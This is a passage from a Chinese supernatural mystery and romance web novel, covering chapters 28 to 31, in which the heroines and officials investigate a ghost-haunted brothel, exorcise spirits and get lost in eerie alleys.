她们捂着口鼻进了屋,林月明执着剑,神色时刻保持着警惕,她低声道:“如果春葵说的话是正确的,那现场肯定还留有邪气,邀月剑无论多细微的邪气都可以感应,是真是假,我一试便知。”
柳凝雪自不会怀疑她话里真假,她紧跟着林月明,慢步走到屋子中间,这时,邀月剑突然动了起来。
声响不大,两人却都可以听见,林月明面色一沉,抬头望上看去,目之所及,是一根横梁,大小足以容下一个人。
她倒吸了一口凉气,脊背猛地窜起一股寒意,心里不禁升起一股异样的感觉,直觉告诉她不能再往里走了。
她回头看向柳凝雪道:“今天就查到这里吧。”
柳凝
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雪也感觉这里极不对劲,忙点头赞同道:“嗯。”
本以为出了房间,邀月剑会停下,没想到,剑震动地更厉害了。
林月明绷紧了神经,握紧剑,带着柳凝雪走出满春楼,一直到翻墙出去剑震才停下。
柳凝雪扶着树大口大口地喘着气,一摸额头才发现自己不知何时出了一身冷汗。
吓死了。
林月明道:“时候不早了,回去吧。”
——
第二日,江荨和沈如珩遇袭的事就在司灵监传开了。
所幸两人身上的伤不轻也不重,还能过来处理监里大大小小的事务。
张永明自张永升出事那天起,就天天往司灵监跑配合着调查,今天一听到江荨出事了,来得更早了。
柳凝雪担忧江荨的伤势,也和林月明一起去了司灵监。
她们到时,便见张永明坐在了司灵监里,身边还跟着位面目清秀,温婉和善的女子。
柳凝雪看到她时怔了一下,她眉目比常人还柔和上几分,以至于柳凝雪看到她的第一眼就认出了,她是张永明刚过门不到两月的妻子。
似是注意到了柳凝雪的目光,她抬起头来朝柳凝雪笑了笑。
这时,林月明走了过来,目光疑惑,道:“你一直盯着别人的苏世子妃做什么?”
短短几秒钟,林月明的目光已经从疑惑到探究,再到“原来你是这样的人”,柳凝雪无语片刻,彼时,张永明起身拱手问好,道:“敬王世子妃,郡主。”
南宫赫容也跟着起身行了一礼,张永明面色淡淡,也不去看南宫赫容。
两人虽成亲了,却并不熟悉,成亲之前,他们只见过一面,温润如玉,君子如他,在南宫赫容向他坦诚之前,他不会强迫她,是以成亲两个月来一直都是分房睡的。
张永明问道:“敬王世子妃和郡主都是来看江大人的吗?”
柳凝雪回道:“是的。”
正说着,谢玄淮走进了司灵监,大堂顿时陷入了一阵沉默当中。
仅是一天多没见,柳凝雪就感觉有些生分了,一时不知道该说什么,显出几分尴尬来。
林月明和他不熟,自然没什么可说的,张永明倒是想搭几句话,可谢玄淮总是显得这么不近人情,生人勿近。
他也就按捺住了自己的动作。
张永明上前见礼,道:“见过谢世子。”
谢玄淮面色淡淡地回了一礼。
柳凝雪问道:“你怎么来这里了?”
话问出口时她就有点后悔了,现在他是钦天监副监,协助司灵监查案,他不来谁来。
谢玄淮扫了她一眼,回道:“江荨和沈如珩都受伤了,我自要来帮他们处理事务。”
说到受伤,柳凝雪又想起今早听到的消息,江荨和沈如珩是在查案的途中遇邪受伤的,联想原著谢玄淮也给主角团暗中使了不少辫子的事,她下意识地就怀疑谢玄淮,连带着看他的目光也变得不自在起来。
这个眼神自然也没能逃脱谢玄淮的眼睛,他眸色暗了暗。
28. 异香
这时,有小吏过来说道:“江监副让谢监副去理事处,谢世子妃,郡主,张世子不必担忧,江监副已无大碍,事务繁忙不便相见,请回吧。”
张永明听完,上前问道:“我弟弟……”
小吏道:“张世子不必忧心,江监副一定会查明真相,还二公子一个公道的。”
张永明唇瓣微张,却又说不出什么,只好道:“有劳江大人和谢大人了。”
见江荨事忙,柳凝雪和林月明也不继续待在这里了,两人一同出了司灵监。
柳凝雪问道:“还去满春楼吗?”
林月明道:“去,为什么不去?”
柳凝雪问:“什么时候?”
林月明道:“现在。”
有了昨晚的经历,林月明对晚上去满春楼有点犯怵,她拿着邀月剑和柳凝雪再去了一趟满春楼。
一夜过去后,满春楼似乎变得荒芜了许多,没了往日的繁盛。
林月明翻进楼里的时候,第一时间就是看手中的剑,幸好剑没有响。
柳凝雪同时也松了口气,这次来满春楼,她带足了符纸和糯米,要是见到邪物,她就一把糯米散过去。
林月明道:“上楼。”
柳凝雪点头,“嗯。”
正走上楼时,身后忽地响起细小的动静,柳凝雪猛地回头看去,可楼中天井什么也没有。
柳凝雪不禁疑惑地想,难道是我精神错乱了?
她认真地又打量了一遍,确定是什么都没有后才上楼。
厉鬼是由怨念而生,从哪里生就从在哪里扎根,轻易不走出自己的地盘。
以昨晚邀月剑的震动程度,可以肯定的是,杀张永升的是一只厉鬼。
既是厉鬼,那她就一直盘旋在原地。
林月明感觉自己离破案越来越近了,她终于可以证明自己了。
只要破了案,她就能证明自己的实力,自己有资格进入司灵监,圣上也不会再说什么。
林月明对身后的柳凝雪道:“只要抓住那只鬼,这个案子就破了。”
柳凝雪听着眉头却是微微蹙起,“是吗?”
可她总觉得有哪里不太对劲。
如果真是厉鬼杀人,那么按照鬼的习性,这里已经不止发生过一件这种事情才对,且邪祟喜血,怨念非一日而成,厉鬼非一日能生,成为厉鬼,她势必吃了不少血,害了不少人。
可柳凝雪从未在哪里听说满春楼从前发生过什么灵异事件。
柳凝雪虽觉不对,但还是跟上了林月明,总归邀月剑识邪不会错,说不定抓住了那只鬼又是一条线索。
白天邪气弱,厉鬼轻易不会出来,柳凝雪问道:“她不出来,你要怎么抓?”
房间里一如既往地散发着令人作呕的腥臭味,地上是司灵监的人以朱砂红描绘布下的阵法。
林月明一幅胸有成竹的样子,道:“我自有办法。”
柳凝雪疑惑地看着她,莫非她又要掏出什么法宝?林月明的法宝总是多的超乎想象。
然而下一秒,她就见林月明拿出一把小刀朝自己的手腕割了下去,柳凝雪一惊,慌忙伸手制止她,道:“你想干什么?!你这是在干什么?”
林月明皱眉望向她,道:“我自然是……”
话还没说完,两人便听见外面传来有人上楼梯的声音,房屋之间的隔音一般,且上楼的人并没有特意隐瞒。
柳凝雪和林月明一时警惕起来,柳凝雪道:“先去躲起来。”
江荨和沈如珩及谢玄淮一同来到了满春楼,春葵的话很容易套,拿张画像再吓唬两句她就说了,但左右都只一句“有鬼”。
到底是不是真的有鬼还得亲自来满春楼一看,是以江荨就带着他们来了。
满春楼里死气沉沉的,江荨取出一张符纸置于空气中,黄符过了一阵时间才慢速燃起来。
有邪气但不多,不足以置人于死地。
江荨一扬手,让燃尽的符纸飞散,说道:“走吧。”
随着脚步声越来越近了,林月明和柳凝雪都紧绷着神经,两人手中都握着利器,只待来人一走近,就立马现身制服。
待人走进了屋子,躲在柱子后的两人瞬间闪出,簪子短刀挥舞到江荨三人面前,江荨和沈如珩都是武功高强之人,反应速度极快,几乎是她们刺过来的一刹那就制住了她们。
江荨钳着柳凝雪的双手,在见到柳凝雪时,脸上震愕不已,问道:“你怎么在这?”
柳凝雪也同样的震愕道:“江姐姐?你们怎么也来这里了?”
江荨听着将柳凝雪放开,那边的沈如珩也将林月明放开了,林月明怨恨地瞪了沈如珩一眼,他可不会像江荨那样会留手,剑柄是实打实地敲在林月明手腕上,震得她手腕发痛不止。
江荨皱眉问道:“这里已经被封禁了,你们无视律令擅闯?”
柳凝雪正想解释,一旁林月明走了过来,站到她身前,道:“是我逼着她跟我来的,怎么?你要抓我吗?”
林月明边说边从腰上解下一枚玉牌道:“我有御令在手,出入无禁。”
江荨扫了一眼那玉牌,道:“我非是要与郡主作对,只是人命关天,查案一事我不能牵扯无辜。”
林月明道:“我已经向圣上求了入职司灵监的旨意,今天圣旨便会下来,如此一来,我是司灵监的人,这案子我也有责任。”
谁也不会拿圣旨开玩笑,何况还是在查命案,江荨呼了一口气,问道:“你们查到什么了?”
林月明道:“暂没,只是知道这里有鬼。”
说着,她将手上的邀月剑递过去给江荨看,只见邀月剑还在轻微泛着震动,方才在外面没有,只是一进了屋子就有了。
江荨一眼就认出了这把剑,道:“看来这里真的有鬼。”
联想春葵的供词,也说得通了。
沈如珩道:“若真是鬼杀的人,案子也不难处理。”
谢玄淮看了一眼那摊血迹,道:“我看未必,你们别忘了张永升的伤口是什么样的,若真是鬼做的,伤口怎么会这么平整,而且这世上有不喜欢喝血的鬼吗?我倒还没见过
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。”
听闻此话,几人的注意力都放到了他身上,江荨这时也反应过来发现不对,他们先入为主,听到春葵说有鬼,便以为是鬼杀的人。
沈如珩问谢玄淮道:“那谢监副有什么思路吗?”
谢玄淮回答得很干脆,道:“没有。”
众人一时哑言,江荨和沈如珩走到床榻前,仔细观察着,江荨道:“再仔细检查一下房内,或许我们有什么错落的。”
听完,林月明等人便散开来,柳凝雪望向谢玄淮时,发现他也在看她,触及她视线的那一刻,他又移开了目光。
柳凝雪:“???”
不知道最近为什么谢玄淮注意她的次数变多了,是她多想了吗?
柳凝雪脑子里又想了一通也想不出个所以然,干脆加入他们一起寻找线索。
但找来找去还是那样,根本找不到有什么出奇的地方。
刚看完梳妆台的柳凝雪抬头便见铜镜里,谢玄淮正在自己的不远处随便搜寻着,只见他拿矮桌上的茶杯左看右看。
他看得专注,柳凝雪不免好奇起来,转身走到他身边。
谢玄淮对来到身边的人恍若未闻,沉浸着做自己的事情。
柳凝雪凑过去看他手中的茶杯,他拿得高了,她便靠近些,不然看不清楚。
本是想看他手中杯子有何异样的,可这一靠近了,她就闻到了谢玄淮身上的异香。
很香,很浓。
可离得远些又闻不到,靠得近了又能闻到那股浓香,柳凝雪蹙了蹙眉,记忆里的谢玄淮似乎没有用过这么浓的香。
她又靠近了些,试图闻出他身上染的是什么香,她这一动作引起了谢玄淮的注意,他下意识地转过头来,不料柳凝雪离得太过近了,一转头,唇瓣就贴合在了她光洁的额头上。
两人俱是一愣,柳凝雪能清楚地感受贴在她额头上带着软绵绵,冰凉凉触感的东西,谢玄淮自也能感受到那种奇异的感觉,鼻尖萦绕着的,满是她体香与发香交融的香气,他喉结不禁上下滑动了一下。
“你们!”
林月明一惊一乍地声音传过来,柳凝雪忙将谢玄淮推开了,慌张地用手擦拭着额头,故作镇定,道:“怎么了怎么了?”
林月明目光怪异又复杂地打量两人,相比柳凝雪脸色慌乱,耳脸涨红,谢玄淮倒淡定许多,除了耳根那一点点红外,淡漠的样子给人一种他和自己的妻子亲吻是常事的感觉。
林月明有些怀疑自我了,难道我的消息不准确?不是说谢玄淮和柳凝雪关系恶劣,相见两厌吗?怎么看到的和听到的不一样?
柳凝雪羞得无地自容,恨不得挖个地洞跳进去躲起来,林月明眼神古怪,道:“没什么。”
说完,她又转身去看其他东西了。
柳凝雪看向一旁好整以暇的人,说道:“你,离我远点。”
谢玄淮勾唇一笑,笑意却不达眼底,他道:“世子妃这说的什么话,你不靠近我,我自不会近你身。”
柳凝雪一时语塞,这次确实是她先靠近的。
29. 恶鬼
或许是脸红的原因,柳凝雪感觉屋子里一片闷热,她不知道现在谢玄淮是什么表情,也不敢去看,随性能避先避,出了门去透气。
柳凝雪站在栏杆前,感受着天井里拂面而来的凉风,身上的燥热顿减了许多,脑子也清明了不少。
她这才想起她在谢玄淮身上闻到的香气,以前凑近他身的时候从来没闻到过这种香味,且谢玄淮也不像是会逛花楼的人,难道他换了香料了?
柳凝雪兀自猜测不停,这时,楼里忽然传出一阵翻找东西的动作,一开始,柳凝雪只以为是江荨他们弄出,可下一刻她就感到不对劲了,声音是从一楼传来的!
她攀在栏杆上,目光紧盯着一楼,恰在此时,林月明也从屋里走了出来,柳凝雪对她道:“一楼有人,我去追,你去告诉江姐姐。”
还未等林月明反应,柳凝雪便急急地往一楼跑去了,林月明愣了片刻,看向一楼,果然见一楼天井处有一个黑衣人在寻找着什么。
柳凝雪来到一楼,见到人的那一刻,首先朝他丢出一道符纸,灵符打在他身上并无反应,是人。
柳凝雪松了一口气,是人就好办多了,黑衣人被她的动静惊扰,回过头来,便见柳凝雪双手叉腰,正义凛然地对他说:“贼人还不快束手就擒?!”
她的声音也惊动了楼上的人,江荨等人围着天井,眼瞧着他们就要下来了,黑衣人犹豫了一下还是选择逃走。
柳凝雪当即便追了上去,有揭示真相的机会,她当然不可能放过。
柳凝雪一直从满春楼追了出去,怎料那人身手了得,几下便甩开了她,幸好这时江荨几人追了上去。
他们一干人一前一后地追赶着,这里就数柳凝雪最慢,谢玄淮被他们留在了原地看守。
柳凝雪不会轻功,跑了一阵就气喘吁吁地停在原地。
江荨他们追着黑衣人进了小巷,城中小巷四通八拐的,柳凝雪选了不同的小巷进去。
小巷之间是相通的,柳凝雪随意选了条,就是想着能不能撞撞运气,碰到他们。
没想到这一选还真让她选对了,刚走过拐角就见那黑衣人翻墙而过,落到下方的空地上。
柳凝雪大喊一声,“站住!”
随即她两手一合,开始结印施法,口中飞快地念着:“河洛阴阳生四象,囚笼,困!”
有镯子在身,她无需带棋,阵法全凭意念所化,不过多时,黑衣人的头顶便现出一个棋阵,棋盘上黑白两子?着,难舍难分,黑子仅一移,便让白子进入死活状态,呈现出一个困境。
黑衣人看着棋局一愣,柳凝雪颇为得意道:“收手吧,抗拒从严,坦白从宽。”
然而,刚说完,她就惊愕地看到棋局动了,那黑衣人在施法解阵!
柳凝雪瞪大了眼睛看她,喊道:“欸!不是!”
怎么完全不按她想象的发展啊?!还有这棋局他竟然也解得开!
要知道棋术一道与平常的围棋是有出入的,不止要会棋,更重要的是要懂得其中运转机理,棋术一道阵法易结难解,想要解阵还要联系阴阳四象,所以能解棋阵的,如果不是深入了解并修炼,寻常人哪里会懂?
且看结印手势极速度,熟练至极,一眼便知他是道行中人且修为不浅。
那人边解阵还不忘说她,道:“用棋术一道的至圣法宝,却结出如此简易的阵法,枉费了这一对好法宝。”
清冽不失温和的声音传至柳凝雪耳中,令她一怔,黑衣人竟是位女子!
但也就她解阵之时,江荨及时赶到,长剑出鞘,几个来回就将她制服,黑衣女子被江荨压到墙上,冰冷的剑身抵住她的脖颈。
江荨看着她,冷声问道:“何人在此装神弄鬼?”
黑衣人不语,一双清明温润的眸子直盯着江荨,江荨伸手一把将她的面纱扯下,露出下面的真容来。
看到真容时,江荨怔住了,她眉头微蹙,有些不敢置信地开口道:“杨小姐?”
柳凝雪目光在两人身上扫个来回,很明显两人是认识的,沈如珩和林月明也微微惊讶。
江荨将剑收回,道:“杨小姐,你怎么在这里?”
被认出来,杨扶意也不装了,摘下兜帽,言简意赅,说道:“查案。”
江荨脸上一时神色莫辨,杨扶意之前是司灵监的人,确实助江荨破了不少案子,可后来她的家人极力反对她入朝为官,就不许她再进司灵监当职,也不准她查案了。
江荨蹙眉,有些许不安道:“可是你的家人……”
杨扶意道:“我瞒着他们出来的,还请江大人不要告诉我的家人。”
杨家人规矩迂腐,江荨向来不喜,就算杨扶意不说,她也不会去杨家找不快。
柳凝雪在那看了半天,才发现这是一场误会,杨扶意看向她,说:“你对棋术很有天赋,不然河棋镯和洛玉镯也不会选择你。”
柳凝雪听着脸上讪讪一笑,其实她只是个连灵脉都没开的普通人。
——
谢玄淮独自一人留守满春楼,他在房中四下看了看,确无异常,张永升出事的时候,他也曾去看过他的尸体,伤口平整且深,是致命伤,但他死时一直在这间屋子里,若梅娘子真的是真凶的话,她是怎么杀的他?
他在脑海里想了一遍,最后还是确定了梅娘子无法在众目睽睽之下脱身,他不禁怀疑,难道他查找的方向错了。
这个念头一出,当即便被他否定了,不可能,影卫向来不会出错,而且他也亲自去查过并见过梅娘子了,和影卫说的无异。
当日他潜入赵国公府试探过梅娘子,虽没能逼她用出怨灵弓,但也看出她修炼过邪术,都是同行,甚至无须试探就能看出。
也是因此,他才越发确定梅娘子就是怨灵弓的持有者。
谢玄淮看了一眼屋内,张永升如何死的似乎与他无关,只要等十几天后,怨灵弓再现,届时杀人夺弓,强制占有,旁人的死与他何干?
谢玄淮想着,忽地转头去看桌上的杯子,当时不过是随意拿起茶杯
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打量,实则脑海却是想着其他事出神,他向来如此,只是没想到柳凝雪会凑得这么近,一想到此处,唇上又泛起了那冰冰凉凉的感觉,和之前的吻好像不太一样。
谢玄淮走过去重新拿起杯子端详,正看着,一滴血珠忽落到白玉光洁的杯子上,勾勒出一抹刺眼血红,仅接着第二滴,第三滴依次落下,流速逐渐加快。
血珠浸红了谢玄淮的指尖,他缓缓抬眸,泛着寒意的眸子逼视着房梁,只见粗大的房梁上趴着一个红衣女鬼,血液正是从她张大的嘴巴里流出来的,她双眼被人剜去,眼睛处一片漆黑空洞,惨白的脸上流出两道血泪。
她身上衣裳不整,破破烂烂,短至小腿,长着长指甲的双手正攀着房梁,他抬头正好对视上她的双“眼”。
谢玄淮手一松,杯子啪的一下砸在桌子上,女鬼同时朝他扑了过去,谢玄淮一个闪身后撤,躲开了她的攻击。
女鬼警惕性极高,她在地上爬动,似是在寻找机会攻击,又防备着谢玄淮的动作。
谢玄淮目光紧盯着她,眼神是藏不住的厌恶与恶心,脸色冰冷至极。
女鬼骤然爆动,猛地扑咬过去,谢玄淮身形敏捷,轻易躲过她的攻击,随后他变法术般手掌一握一开,食指与中指间俨然夹了一张符纸。
他眉目冷到了极点,如染冰霜,女鬼再次向他发起进攻,谢玄淮正面一道符纸打出去,炸得她往后撤,符纸威力不小,女鬼不敢轻举妄动,她四下观察着谢玄淮,两人都不随便出手,屋中一时陷入了僵持当中。
谢玄淮抬头打量了一下房顶,没有破洞处,不知道这个女鬼是什么时爬进来的,又藏了多久。
这满春楼确实有鬼。
此时已近傍晚,阴气逐渐壮盛,女鬼越发地得意起来,“看”着谢玄淮的神情就像饿鬼在盯着盘中肉。
此前从未听说过满春楼闹鬼,所以女鬼的出现并非偶然,谢玄淮再取出一道符纸来,现在楼里有多少只鬼也未可知。
等到太阳再往下沉一点时,女鬼又朝谢玄淮攻击过去,他疾速躲开,顺手将符纸甩向女鬼,女鬼在符纸的攻击下连连后退,她忍着痛扑向谢玄淮,后者一个抬脚将她踹了出去。
日落西山,谢玄淮转身出了房间,女鬼也紧随其后跟了出去,然而等她来到房外时却不见谢玄淮的身影。
女鬼茫然了片刻,在地上缓慢爬行着,她一个一个房间仔细地寻找着,时不时用鼻尖轻嗅。
她找得仔细,也时刻注意着身后,防备着谢玄淮的偷袭。
房门一开一合的声音在空荡的楼里断断续续地响着,女鬼找了几间房间都不见谢玄淮的身影。
她爬到楼梯口转角处,正疑惑时,头顶冷不丁传来谢玄淮的声音,道:“你是在找我吗?”
女鬼猛地抬头,却见谢玄淮蹲在横梁上,两手随意搭在膝盖处,右手两指夹着一张燃起的黄符,火光映着他俊秀带着冷笑的面容,让人泛起阵阵森寒,此时的他比之鬼更像阎王。
“你在找我吗?”
30. 除邪
柳凝雪和江荨几人在天刚黑时回到了满春楼。
走到楼梯口时就见谢玄淮站在那里,面前还有一地的炭灰。
柳凝雪不知道那堆炭灰是什么,只觉得味道极其难闻,闻之欲呕。
她问道:“这是什么?”
谢玄淮道:“尸体烧成的灰。”
他说话时面色淡淡,柳凝雪听完瞪大了双眼看他,道:“尸体?!哪来的尸体啊?!”
此时,杨扶意站出来道:“如果我没猜错的话,是楼里的女鬼吧?”
谢玄淮淡淡地扫了她一眼,表示默认了。
江荨脸色不掩惊讶道:“你怎知是这楼里有鬼?”
杨扶意看着她道:“听到满春楼出事时,我就让人私下查过满春楼,发现楼里之前被折磨死过几个女子,她们死后怨魂不散,成了鬼,每夜出吃人。”
“可何妈妈为了不让自己的生意受损,逼迫楼中的女子不许将实情说出去,后来她请过道士过来镇压,又每月喂一次血才得以安定下来。”
杨扶意接着道:“这件事她们瞒得紧,我也废好一阵功夫才查到。”
话落,柳凝雪蹙眉问道:“那她们为什么不在审讯的时候把这些说出来?让江姐姐给她们主持公道不好吗?”
她的话天真至极,杨扶意看了看她,道:“满春楼地处繁华,不少王公贵子都愿意来这里消费,她们不想说是因为她们也不想放弃眼前的利益。”
虽然不愿承认,但为了钱不顾性命的大有人在。
江荨神情严肃道:“既如此,那么楼里的鬼物就不止一个,当务之急是先将楼里的鬼清除干净,免得失控出去祸害百姓。”
余下的人皆无意见,满春楼除了这幢高楼外,还有前庭后院,占地较广。
江荨道:“我先传信回司灵监让人过来,为了安全着想,若是打不过别硬撑。”
话落,六人各自散开,分别负前庭高楼后院,江荨肯定是和沈如珩一道,两人同门多年,配合默契,处理事情快。
而林月明,杨扶意与谢玄淮都陌生得很,一来二去,和谢玄淮一起的就只有柳凝雪了。
他们两位是负责后院的,后院除了满春楼的人,一般是很少外人会来的。
这里多是一些姑娘的起居饮食的地方,柳凝雪跟在谢玄淮身后不敢有片刻松懈。
现在已日沉西山,明月高挂,天上繁星只有零星几点,唯借着皎洁的月色勉强将院子打量清楚。
柳凝雪总觉得今晚比平时冷了许多,也不知道是不是她的错觉,可看前面扎着高马尾,一身束腰云纹的少年走得不紧不慢的样子,她又心安了许多。
至少她不是一个人来这种鬼地方。
柳凝雪想着快步跟上谢玄淮,不料,天色过暗,导致她没看清脚下,被一个物什绊倒,整个人不受控制地往前扑去。
此时的她离谢玄淮不过一臂之远,在即将摔到地面时,她猛地一把抓住了谢玄淮的手臂,重重往下一带,谢玄淮被她拽得一个趔趄,差点掉到地上,幸好他及时稳住身形。
柳凝雪双手抓着谢玄淮的手臂,待稳住身体后,她应激般喊了声,“我去!”
“什么东西啊?!”
柳凝雪松开谢玄淮,回过身来,借着月光低头一看,竟是个半埋进地里的瓷碗。
柳凝雪极为不解地皱起眉头,道:“碗?”
她蹲下身试图将整只碗给拔出来,道:“谁这么缺德把这个碗埋在通道上,这不纯害人吗?”
她用力拔了一下,没拔动,而后又用手去挖泥士,扒拉了几下终于让她拿出来了。
柳凝雪站起身,拿着碗面对着谢玄淮。
谢玄淮垂眸看了眼她手中的碗,清冽不乏凉意的声音道:“为什么要弄开这个碗。”
柳凝雪一头雾水地看着他,道:“也不知谁埋地里的,这要是绊到人怎么办?”
柳凝雪思维发散极快,没等谢玄淮再说话,她已经觉得毛骨悚然起来了,一个闹鬼的院子里莫名其妙地出现一只碗。
而且这只碗肯定不是今天才埋下的,它又如此明显地出现在过道上,满春楼里的人怎么会注意不到,但他们却没有一个人去挪开……
柳凝雪咽了咽口水,有些不安地问谢玄淮,道:“这个碗……不会是什么……脏东西吧……”
她声音越来越小,实在是被自己所想给吓到了,此刻的她坚定了数十年的马克思维物主义彻底消失殆尽。
其实,自她穿进书中的那一刻就不该再是个唯物主义者。
然而谢玄淮的面色依旧冷淡道:“不清楚。”
柳凝雪现在最忌这种含糊不清的回答了,她拿着碗的手已经开始了轻微颤抖,早知道就不随便捡东西了。
她颤着声音问他,“那……那这个碗应该丢到哪里啊?总不能一直拿着吧。”
谢玄淮:“随便。”
说完,他转身离去,柳凝雪一个头两个大,犹豫了一阵还是选择将碗插回了原地。
经过了碗那件事,柳凝雪还是心有余悸,她将手伸进带来的布袋里,牢牢地抓了一把糯米,要是有不干净的东西突脸,她就一把糯米洒过去。
柳凝雪和谢玄淮翻找着后院的屋子,试图找出一些邪祟的气息,可看了几间也没感受到一点。
这时,柳凝雪的脚也累得不行,刚走进屋子,她就道:“不行了,太累了,我要休息一下。”
说着,她正想坐下来,忽然想起刚才的那个碗,又猛地站直了身体。
可她又实在累得不行,索性蹲了下来,柳凝雪带着几分埋怨开口道:“就这一间间房地找,还要找到多久啊?没有什么更简便且强势的方法了吗?”
谢玄淮扫了一眼蹲在地上的人,道:“有啊。”
柳凝雪立即问道:“是什么?”
谢玄淮道:“把你身上的血放出来。”
“不行!”柳凝雪毫不犹豫地拒绝了这个方法,她要是真的放血的话,那些鬼还不得追着她跑?
看来是没有什么其他办法了,柳凝雪想,要是有江荨的星盘就好了。
她抬头烦闷地打量着这间屋子,粉帘玉案,看来是位女子的住处,她蹲着的地方,面前正放着一张床榻。
柳凝雪无意间往床底下看去,这一看直接把她吓得向后一跌,她神色白了又白,全身僵在了原地,连说话的声音也带着几分恐惧的颤抖,道:“谢……谢玄淮……床底下……有只碗……”
没错,就是碗。
屋内的光线不亮,但看轮廓就是一只碗,虽然不清碗上的花纹,但通体的白色和她方才捡到的瓷碗无异。
谢玄淮蹙眉问她,“什么碗?”
柳凝雪无法解释,现在她的脑子一团乱,喉咙里挤不出一句完
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整的话,只颤着声线回复着,“就是碗……”
谢玄淮见她神色不对,盯着床底的某一处,他也跟着蹲了下来,顺着她的视线看去。
是一只碗。
且看情况,和她刚才捡到的无异。
谢玄淮只看了一眼便挪开了目光,站起来道:“你多想了。”
柳凝雪也希望自己是多想,或是这只是个巧合。
她心里想道。
“你能不能扶一下我?”柳凝雪抬头看着谢玄淮,说:“我腿软了。”
话落,没等谢玄淮伸手,柳凝雪就已经抓住了他的手,掌心触碰时,柳凝雪被他手掌的温度冰了一下,她自认为自己体虚手掌已经很凉了,没想到和谢玄淮相对比之下,她的手竟还有些暖。
被抓住手时,谢玄淮愣了一下,柳凝雪怕他把自己甩开,忙借力站了起来,然后又迅速放开。
柳凝雪揉了揉蹲久了发麻的腿,道:“走吧,这里没什么好看的了。”
他们出了房间时,隐约感受到前院传来的法阵波动,看来江荨他们已经找出邪祟了。
柳凝雪暂时没发现后院有什么邪祟,为防止万一,他们还是在门上留了道符纸。
每个房间的门上都贴一张,若是有哪天掉了或者毁了就说明这间屋子不对劲,也好迅速准确目标。
她从布袋里取出一沓符纸递给谢玄淮,道:“贴符吧。”
谢玄淮闻言,面无表情地接过她手中的符纸,和她一起贴了起来。
两人分头贴符纸,柳凝雪一张一张认真地贴着,一直贴到方才看到碗的房间门前。
本来还镇定的她,在拿符纸的时候,手忍不住开始抖了起来。
柳凝雪抬手按住自己发抖的手,忍着一身的恶寒,将符纸迅速贴到门上,看也不多看一眼就离去。
那边的谢玄淮也已经把所有的房间贴完了,过来与她会合。
柳凝雪的神色极其异常,脸色较之前更白了,一副惶惶不安的样子。
谢玄淮低眸看了看她,柳凝雪道:“走吧,江姐姐他们已经在等着我们了。”
谢玄淮应道:“嗯。”
两人随即离开后院返回,前院的邪祟并不多,多的是楼里,江荨忙完后又过来帮杨扶意,杨扶意本身实力强劲,等江荨来时,现场已经被她处理得七七八八了。
江荨看着一地狼籍,道:“司灵监的人马上到了,后面让他们来处理,扶意,你出来太久了,现在必须回去。”
杨扶意点了点头,道:“好。”
柳凝雪有些魂不守舍,她总觉得身后有什么东西在跟着她,这种怪异的感觉自从满春楼里出来后就一直有了。
她一步三回头地看着,速度难免落后不少,人群最末尾的只有她和谢玄淮了。
柳凝雪三两步跟上他,紧贴在他身边,低声问道:“你有没有感觉有什么东西在跟着我们?”
谢玄淮淡淡回应道:“没有。”
“是吗?”柳凝雪有些自我怀疑,可她每次回头却也什么都看不到。
她有些后怕地贴紧了谢玄淮,可越到后面那种被人盯着,被人看着的感觉就越强烈。
柳凝雪被吓得出了一身冷汗,脑海里始终紧绷着一根弦。
就在这时,突然,街道边传来一声猫叫,柳凝雪一时应激,心脏猛地一跳,一把抓住了谢玄淮的手。
31. 祸起
谢玄淮被她拽得低头看她,她的动静也引起了前面几人的注意。
江荨回过头来,看她道:“世子妃怎么了?”
满春楼周边多是私宅,此时都没亮着灯,幽黑昏暗的街道上一片寂静,察觉到他们的目光,柳凝雪道:“我没事,刚刚被只猫吓到了。”
她说着用手擦了控额上浸出的冷汗,松开了拽住谢玄淮的手。
她瞥了眼身后,心里想道:“难道真的是我多想了?”
几人一路走到分叉口处,忽见一男子和女子神色匆匆地走了过来,脸上又焦急又慌张害怕的样子。
男子手中端着块木板,木板上放着三个碗,一只盛米饭,一只装用柴灰捏成的泥丸,一只放菜,而女子手中则拿着一根点燃的香,香烟迎着风往后飘去。
看着装,是平民。
见此状,江荨伸手拦住还欲往前的几人,道:“等等。”
那男子和女子扫了眼停下来的人,脸色疑惑之际也不敢耽误片刻,他们来到叉路口处,男子将手上的东西往叉路口上一放,女子也紧跟着将香插.入地上,而后两人嘴里又念叨了几句什么才又赶忙离去。
江荨转头对沈如珩道:“师兄。”
只一句师兄,无须多言,沈如珩就知道她要做什么了,沈如珩点头道:“嗯。”
江荨随即对余下人道:“你们先回去,出了这条巷,马车会在外面接应你们。”
杨扶意是清楚其中门路的,道:“好。”
江荨和沈如珩便跟着刚才的两位百姓走了。
柳凝雪不明所以,悄悄问谢玄淮道:“这是做什么?”
江荨他们的反应都奇奇怪怪的,谢玄淮淡声说道:“我曾在书上看过民间有一驱邪法就是这样的。”
柳凝雪眉头皱得更深了,“驱邪?”
谢玄淮道:“家里人被恶鬼上身,就会用到此法。”
柳凝雪问:“那他们为什么不找司灵监?”
谢玄淮看她道:“不是人人都请得上司灵监的。”
一语点醒梦中人,柳凝雪这才反这过来,这不是在现代的法治社会,有事都能找警察,只是江荨和沈如珩的责任性太强了,让她误以为自己还是处在个法治社会呢。
这里官僚阶级严明,官员互相争斗,曾经为民而立的官职早已被只为一己之私的官员所取代了。
以目前的形式来看,能活着就不错了。
前头的杨扶意道:“走吧。”
柳凝雪循着声音,目光落到杨扶意身上,她坚韧又温柔,术法实力不输任何人,可惜家中长辈多迂腐,认为女子生来就该嫁人,将她当成拉拢权贵的工具。
当时看书看到最后她还是逃脱不了命运嫁给远在南边的清河崔氏时,柳凝雪还惋惜了好一阵。
街道暗淡无光,几人不知道走了多久也没去到尽头,林月明有些受不了了,埋怨道:“还要多久才能走出去啊?为什么不让马车进来?走得脚都痛了。”
杨扶意温声道:“我们来时并没有马车,是阿荨出了满春楼后临时叫的,就算来也来不了那么快,再多走一段路吧。”
林月明虽心有埋怨,但还是跟着杨扶意走了一段路,在还没看到出巷口时,她不悦道:“这不对吧,满春楼离巷口有这么远吗?”
何况他们走的还是近路。
这时,杨扶意也隐约感觉到不对起来,总觉得走来走去都是一样的路。
柳凝雪也浅浅不安起来,道:“会不会……”
话还没说完,就被林月明驳了回去,“闭上你的大嘴巴!”
柳凝雪:“……”
其实她想说的是,会不会是他们走错路了。
四人在十字路口停下,茫然不知去往何处,林月明对谢玄淮道:“你不是钦天监的人吗?赶紧算一卦到底要怎么走啊。”
谢玄淮懒得看她一眼,道:“我不学卦术一道。”
林月明一时哑言,说:“那现在怎么办?我们怎么出去啊?”
